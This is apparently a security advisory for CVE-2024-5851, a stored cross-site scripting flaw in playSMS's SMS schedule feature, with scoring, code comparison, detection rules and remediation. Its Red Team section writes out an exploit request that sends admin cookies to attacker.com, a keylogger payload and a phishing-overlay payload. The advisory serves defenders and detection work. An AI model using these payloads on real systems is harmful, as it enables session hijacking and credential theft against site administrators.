CVE-2024-5851

Executive Summary

CVE-2024-5851 is a stored cross-site scripting (XSS) vulnerability identified in playSMS, an open-source SMS gateway management platform. The flaw resides in the SMS Schedule Handler component, specifically within the file /index.php?app=main&inc=feature_schedule&op=list. An attacker can inject malicious scripts via the name or message parameters, which are not properly sanitized before being stored and later rendered in the browser of an administrative user. This allows for arbitrary JavaScript execution in the context of the victim's session, potentially leading to session hijacking, credential theft, or further compromise of the playSMS instance. The vulnerability is remotely exploitable without authentication, though user interaction (e.g., an admin viewing the schedule list) is required for the payload to execute. The vendor has released version 1.4.8 to address this issue, and the patch commit is publicly available.

Supply Chain & Package Security

This vulnerability does not affect a package manager ecosystem (NPM, PyPI, Go, Ruby). playSMS is a standalone PHP application typically deployed via manual installation or Docker. However, organizations using playSMS should verify the integrity of their deployment and ensure no unauthorized modifications have been made, as the XSS could be used to inject malicious code that persists in the application's database.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed to inject the payload.
• User Interaction: Required (UI:R) – The victim must view the schedule list page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Some modification of data or functionality possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the potential for session hijacking elevate the risk in environments where playSMS is used for critical communications.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the SMS scheduling feature of playSMS. The application allows users to create scheduled SMS messages via the name and message parameters. These inputs are stored in the database without proper sanitization or output encoding. When an administrator accesses the schedule list page (/index.php?app=main&inc=feature_schedule&op=list), the stored values are rendered directly into the HTML without escaping, allowing an attacker to inject arbitrary HTML and JavaScript.

The attack flow:

1. An attacker sends a POST request to the schedule creation endpoint with malicious payloads in the name or message fields (e.g., <script>alert('XSS')</script>).
2. The payload is stored in the database.
3. When an administrator visits the schedule list page, the payload is executed in their browser.
4. The attacker can then steal session cookies, perform actions on behalf of the admin, or redirect to phishing pages.

The patch (commit 7a88920f6b536c6a91512e739bcb4e8adefeed2b) likely introduces proper output encoding using functions like htmlspecialchars() or a templating engine that escapes HTML entities.

Vulnerable vs. Patched Code

Vulnerable Code (playSMS <= 1.4.7):

// In the schedule list view, output is not escaped
echo "<tr><td>" . $schedule['name'] . "</td><td>" . $schedule['message'] . "</td></tr>";

Patched Code (playSMS >= 1.4.8):

// Output is now properly escaped
echo "<tr><td>" . htmlspecialchars($schedule['name'], ENT_QUOTES, 'UTF-8') . "</td><td>" . htmlspecialchars($schedule['message'], ENT_QUOTES, 'UTF-8') . "</td></tr>";

The patch ensures that any HTML special characters are converted to their entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A playSMS instance (version <= 1.4.7) accessible over the network.
• No authentication required for the schedule creation endpoint (or a valid session if authentication is enforced, but the vulnerability is exploitable without it).

Exploitation Steps:

1. Identify the schedule creation endpoint. Typically, it is a POST request to /index.php?app=main&inc=feature_schedule&op=add.
2. Craft a payload to steal session cookies:

   POST /index.php?app=main&inc=feature_schedule&op=add HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   name=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>&message=Test&schedule_date=2025-01-01
   

3. Wait for an administrator to view the schedule list page.
4. The cookie is exfiltrated to the attacker's server.

Alternative Payloads:

• Keylogger: <script>document.onkeypress=function(e){new Image().src='http://attacker.com/k?k='+e.key}</script>
• Phishing overlay: <script>document.body.innerHTML='<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"><h2>Session expired. Please login again.</h2><form><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form></div>';</script>

Blue Team

Detection:

• Monitor for unusual POST requests to /index.php?app=main&inc=feature_schedule&op=add containing <script> tags or other HTML/JavaScript.
• Inspect database entries for the schedule table for suspicious content in name and message fields.
• Use web application firewalls (WAF) to block common XSS patterns.

Hunting:

• Search logs for requests with name or message parameters containing <, >, script, onerror, etc.
• Review recent schedule entries for any that appear to be HTML or JavaScript.

Lab Setup:

• Deploy a vulnerable playSMS 1.4.7 instance using Docker:

  docker run -d -p 80:80 playsms/playsms:1.4.7
  

• Access the web interface and create a schedule with a malicious payload.
• Observe the XSS execution when viewing the schedule list.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the playSMS server.
  • POST requests to /index.php?app=main&inc=feature_schedule&op=add with encoded or raw JavaScript in parameters.
• File IOCs:
  • Modified or new entries in the playsms_schedule database table containing HTML/JavaScript.
• Log IOCs:
  • Web server logs showing requests with <script> tags in the name or message parameters.
  • Error logs indicating unexpected output or script execution.

Detection Engineering

YARA Rule

rule CVE_2024_5851_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting playSMS schedule feature"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5851"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-5851 - playSMS Schedule XSS Attempt
id: 7a88920f-6b53-6c91-5a91-2e739bcb4e8a
status: experimental
description: Detects attempts to exploit stored XSS in playSMS schedule feature
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'app=main&inc=feature_schedule&op=add'
        cs-uri-query|contains|all:
            - 'name='
            - 'message='
    filter:
        cs-uri-query|contains:
            - '<'
            - '>'
            - 'script'
            - 'onerror'
            - 'onload'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in message content (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-5851 - playSMS Schedule XSS Payload Outbound";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php"; http_uri;
    content:"app=main&inc=feature_schedule&op=add"; http_uri;
    pcre:"/(<script|on\w+\s*=|javascript\s*:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-5851;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade playSMS to version 1.4.8 or later.
2. If immediate upgrade is not possible, apply the patch commit 7a88920f6b536c6a91512e739bcb4e8adefeed2b manually.
3. Review and sanitize existing schedule entries in the database for any malicious content.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce strict Content Security Policy (CSP) headers to limit script execution.
• Conduct regular security audits and penetration testing.
• Educate administrators about the risks of viewing untrusted content.

Workarounds:

• Disable the schedule feature if not in use by removing or restricting access to feature_schedule.
• Restrict access to the schedule list page to trusted IP addresses only.

Valters IT